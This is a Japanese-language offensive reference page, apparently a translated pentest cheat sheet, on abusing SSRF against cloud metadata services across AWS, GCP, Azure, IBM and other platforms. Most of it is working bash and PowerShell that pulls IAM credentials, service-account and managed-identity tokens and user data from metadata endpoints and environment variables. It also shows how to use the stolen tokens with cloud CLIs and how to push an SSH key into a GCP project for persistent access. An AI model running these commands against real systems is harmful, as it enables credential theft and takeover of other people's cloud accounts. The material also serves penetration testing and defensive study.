Cloud SSRF

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tip

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AWS

AWS EC2環境におけるSSRFの悪用

メタデータエンドポイントは、任意のEC2マシン内からアクセスでき、興味深い情報を提供します。URLはhttp://169.254.169.254でアクセス可能です（メタデータに関する情報はこちら）。

メタデータエンドポイントには2つのバージョンがあります。最初のものは、GETリクエストを介してエンドポイントにアクセスすることを許可します（したがって、SSRFがこれを悪用できます）。バージョン2、IMDSv2では、トークンを要求するためにPUTリクエストを送信し、HTTPヘッダーを使用してそのトークンを使ってメタデータにアクセスする必要があります（したがって、SSRFで悪用するのがより複雑です）。

caution

EC2インスタンスがIMDSv2を強制している場合、ドキュメントによると、PUTリクエストの応答はホップ制限が1となり、EC2インスタンス内のコンテナからEC2メタデータにアクセスすることが不可能になります。

さらに、IMDSv2は、X-Forwarded-Forヘッダーを含むトークンを取得するためのリクエストもブロックします。これは、誤って構成されたリバースプロキシがアクセスできないようにするためです。

メタデータエンドポイントに関する情報はドキュメントにあります。次のスクリプトでは、そこからいくつかの興味深い情報が取得されます：

bash

EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"

aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi

printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""

echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""

echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done

echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done

echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"

echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""

公開されているIAM資格情報の例として、次のリンクを訪問できます: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws

また、次のリンクで公開されているEC2セキュリティ資格情報を確認できます: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

その後、これらの資格情報をAWS CLIで使用することができます。これにより、そのロールが持つ権限で何でも行うことができます。

新しい資格情報を利用するには、次のように新しいAWSプロファイルを作成する必要があります:

[profilename]
aws_access_key_id = ASIA6GG71[...]
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=

aws_session_tokenに注意してください。これはプロファイルが機能するために不可欠です。

PACUは、発見された資格情報を使用して、あなたの権限を確認し、権限を昇格させる試みをすることができます。

AWS ECS (コンテナサービス) のSSRF資格情報

ECSは、アプリケーションを実行するためのEC2インスタンスの論理グループであり、ECSがそれを管理するため、自分自身のクラスター管理インフラをスケールする必要はありません。ECSで実行されているサービスを侵害することに成功すれば、メタデータエンドポイントが変更されます。

_http://169.254.170.2/v2/credentials/<GUID>_にアクセスすると、ECSマシンの資格情報が見つかります。しかし、まずは**<GUID>を見つける必要があります。<GUID>を見つけるには、マシン内のenviron変数AWS_CONTAINER_CREDENTIALS_RELATIVE_URI**を読み取る必要があります。
Path Traversalを利用してfile:///proc/self/environを読み取ることができるかもしれません。
前述のhttpアドレスは、AccessKey、SecretKey、およびトークンを提供するはずです。

bash

curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -

note

注意してください、いくつかのケースでは、コンテナからEC2メタデータインスタンスにアクセスできる場合があります（前述のIMDSv2 TTL制限を確認してください）。これらのシナリオでは、コンテナからコンテナIAMロールとEC2 IAMロールの両方にアクセスできます。

SSRF for AWS Lambda

この場合、資格情報は環境変数に保存されています。したがって、それらにアクセスするには、**file:///proc/self/environ**のようなものにアクセスする必要があります。

興味深い環境変数の名前は次のとおりです：

AWS_SESSION_TOKEN
AWS_SECRET_ACCESS_KEY
AWS_ACCES_KEY_ID

さらに、IAM資格情報に加えて、Lambda関数には関数が開始されるときに関数に渡されるイベントデータもあります。このデータは、runtime interfaceを介して関数に提供され、機密の情報（stageVariables内のような）を含む可能性があります。IAM資格情報とは異なり、このデータは標準のSSRFを介して**http://localhost:9001/2018-06-01/runtime/invocation/next**でアクセス可能です。

warning

lambda資格情報は環境変数内にあります。したがって、lambdaコードのスタックトレースが環境変数を印刷する場合、アプリでエラーを引き起こすことによってそれらを流出させる可能性があります。

SSRF URL for AWS Elastic Beanstalk

APIからaccountIdとregionを取得します。

http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

次に、APIからAccessKeyId、SecretAccessKey、およびTokenを取得します。

http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

次に、aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/で資格情報を使用します。

GCP

メタデータエンドポイントに関するドキュメントはこちらで見つけることができます。

Google CloudのSSRF URL

HTTPヘッダー**Metadata-Flavor: Google**が必要で、次のURLでメタデータエンドポイントにアクセスできます：

http://169.254.169.254
http://metadata.google.internal
http://metadata

情報を抽出するための興味深いエンドポイント：

bash

# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true

# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize

# /instance
# Description
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo "  IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo "  Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo "  Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo "  DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo "  Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo "  ==============  "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig

# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

Betaは現在、ヘッダーを必要としません（Mathias Karlsson @avlidienbrunnに感謝）。

http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true

caution

漏洩したサービスアカウントトークンを使用するには、次のようにします：

# 環境変数を介して
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
gcloud projects list

# セットアップを介して
echo "<token>" > /some/path/to/token
gcloud config set auth/access_token_file /some/path/to/token
gcloud projects list
gcloud config unset auth/access_token_file

SSHキーを追加する

トークンを抽出します

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json

トークンのスコープを確認します（前の出力を使用するか、次のコマンドを実行します）。

bash

curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}

今すぐSSHキーをプッシュしてください。

bash

curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'

Cloud Functions

メタデータエンドポイントは、VMと同様に機能しますが、一部のエンドポイントがありません:

bash

# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id

# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done

Digital Ocean

warning

AWS RolesやGCPサービスアカウントのようなものはないため、メタデータボットの資格情報を見つけることは期待しないでください。

Documentation available at https://developers.digitalocean.com/documentation/metadata/

curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq

Azure

Azure VM

Docs in here.

必須: ヘッダー Metadata: true を含む
X-Forwarded-For ヘッダーを 含まないこと

tip

Azure VM には 1 つのシステム管理アイデンティティと複数のユーザー管理アイデンティティをアタッチできます。これは基本的に、VM にアタッチされたすべての管理アイデンティティを偽装できることを意味します。

メタデータエンドポイントにアクセストークンをリクエストする際、デフォルトではメタデータサービスはシステム割り当て管理アイデンティティを使用してトークンを生成します。システム割り当て管理アイデンティティが存在する場合です。もし1 つのユーザー割り当て管理アイデンティティしかない場合は、これがデフォルトで使用されます。しかし、システム割り当て管理アイデンティティが存在せず、複数のユーザー割り当て管理アイデンティティがある場合、メタデータサービスは複数の管理アイデンティティがあることを示すエラーを返し、どれを使用するかを指定する必要があります。

残念ながら、VM にアタッチされたすべての MI を示すメタデータエンドポイントを見つけることができなかったため、Red Team の観点から VM に割り当てられたすべての管理アイデンティティを見つけることは難しい作業になる可能性があります。

したがって、アタッチされたすべての MI を見つけるには、次のことを行うことができます：

az cli を使用してアタッチされたアイデンティティを取得（すでに Azure テナント内のプリンシパルを侵害している場合）

az vm identity show \
  --resource-group <rsc-group> \
  --name <vm-name>

メタデータ内のデフォルトのアタッチ MI を使用してアタッチされたアイデンティティを取得：

export API_VERSION="2021-12-13"

# デフォルト MI からトークンを取得
export TOKEN=$(curl -s -H "Metadata:true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
  | jq -r '.access_token')

# 必要な詳細を取得
export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \
  "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \
  "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
export VM_NAME=$(curl -s -H "Metadata:true" \
  "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')

# アタッチされた MIs を取得しようとする
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq

テナント内のすべての定義された管理アイデンティティを取得し、ブルートフォースして VM にアタッチされているか確認：

az identity list

caution

トークンリクエストでは、使用したい管理アイデンティティを示すために object_id、client_id、または msi_res_id のいずれかのパラメータを使用してください（docs）。いずれも指定しない場合、デフォルト MI が使用されます。

bash

HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions

echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"

echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"

echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"

echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"

echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"

echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"

bash

# Powershell
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
## User data
$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))

## Get management token
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/" -Headers @{"Metadata"="true"}).access_token

## Get graph token
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://graph.microsoft.com/" -Headers @{"Metadata"="true"}).access_token

## Get vault token
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://vault.azure.net/" -Headers @{"Metadata"="true"}).access_token

## Get storage token
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://storage.azure.com/" -Headers @{"Metadata"="true"}).access_token


# More Paths
/metadata/instance?api-version=2017-04-02
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
/metadata/instance/compute/userData?api-version=2021-01-01&format=text

Azure App & Functions Services & Automation Accounts

env から IDENTITY_HEADER と IDENTITY_ENDPOINT の値を取得できます。これを使用してメタデータサーバーと通信するためのトークンを取得します。

ほとんどの場合、次のリソースのいずれかのトークンが必要です：

caution

トークンリクエストでは、object_id、client_id、または msi_res_id のいずれかのパラメータを使用して、使用したいマネージドアイデンティティを指定します（docs）。指定がない場合、デフォルトのMIが使用されます。

bash

# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT

# (Fingerprint) You should also be able to find the folder:
ls /opt/microsoft

# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get vault token
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get storage token
curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"

bash

# Define the API version
$API_VERSION = "2019-08-01"

# Function to get a token for a specified resource
function Get-Token {
param (
[string]$Resource
)
$url = "$IDENTITY_ENDPOINT?resource=$Resource&api-version=$API_VERSION"
$headers = @{
"X-IDENTITY-HEADER" = $IDENTITY_HEADER
}
try {
$response = Invoke-RestMethod -Uri $url -Headers $headers -Method Get
$response.access_token
} catch {
Write-Error "Error obtaining token for $Resource: $_"
}
}

# Get Management Token
$managementToken = Get-Token -Resource "https://management.azure.com/"
Write-Host "Management Token: $managementToken"

# Get Graph Token
$graphToken = Get-Token -Resource "https://graph.microsoft.com/"
Write-Host "Graph Token: $graphToken"

# Get Vault Token
$vaultToken = Get-Token -Resource "https://vault.azure.net/"
Write-Host "Vault Token: $vaultToken"

# Get Storage Token
$storageToken = Get-Token -Resource "https://storage.azure.com/"
Write-Host "Storage Token: $storageToken"


# Using oneliners

## Get management token
(Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://management.azure.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token

## Get graph token
(Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://graph.microsoft.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token

## Get vault token
(Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://vault.azure.net/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token

## Get storage token
(Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://storage.azure.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token

## Remember that in Automation Accounts it might be declared the client ID of the assigned user managed identity inside the variable that can be gatehred with:
Get-AutomationVariable -Name 'AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID'

IBM Cloud

warning

IBMではデフォルトでメタデータが有効になっていないため、IBMクラウドVM内にいてもアクセスできない可能性があることに注意してください。

bash

export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`

# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq

# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq

# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq

# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq

# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq

さまざまなプラットフォームのメタデータサービスに関するドキュメントは以下に示されており、インスタンスの構成および実行時情報にアクセスする方法が強調されています。各プラットフォームは、メタデータサービスにアクセスするためのユニークなエンドポイントを提供しています。

Packetcloud

Packetcloudのメタデータにアクセスするためのドキュメントは次の場所にあります: https://metadata.packet.net/userdata

OpenStack/RackSpace

ヘッダーの必要性は言及されていません。メタデータには次のようにアクセスできます:

http://169.254.169.254/openstack

HP Helion

ここでもヘッダーの必要性は言及されていません。メタデータには次のようにアクセスできます:

http://169.254.169.254/2009-04-04/meta-data/

Oracle Cloud

Oracle Cloudは、さまざまなメタデータの側面にアクセスするための一連のエンドポイントを提供しています:

http://192.0.0.192/latest/
http://192.0.0.192/latest/user-data/
http://192.0.0.192/latest/meta-data/
http://192.0.0.192/latest/attributes/

Alibaba

Alibabaは、インスタンスおよびイメージIDにアクセスするためのエンドポイントを提供しています:

http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id

Kubernetes ETCD

Kubernetes ETCDは、APIキー、内部IPアドレス、およびポートを保持できます。アクセスは次のように示されます:

curl -L http://127.0.0.1:2379/version
curl http://127.0.0.1:2379/v2/keys/?recursive=true

Docker

Dockerメタデータにはローカルでアクセスでき、コンテナおよびイメージ情報の取得に関する例が示されています:

Dockerソケットを介してコンテナとイメージのメタデータにアクセスするためのシンプルな例:
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
コンテナ内で、Dockerソケットを使用してcurlを使います:
curl --unix-socket /var/run/docker.sock http://foo/containers/json
curl --unix-socket /var/run/docker.sock http://foo/images/json

Rancher

Rancherのメタデータには次のようにアクセスできます:

curl http://rancher-metadata/<version>/<path>

tip

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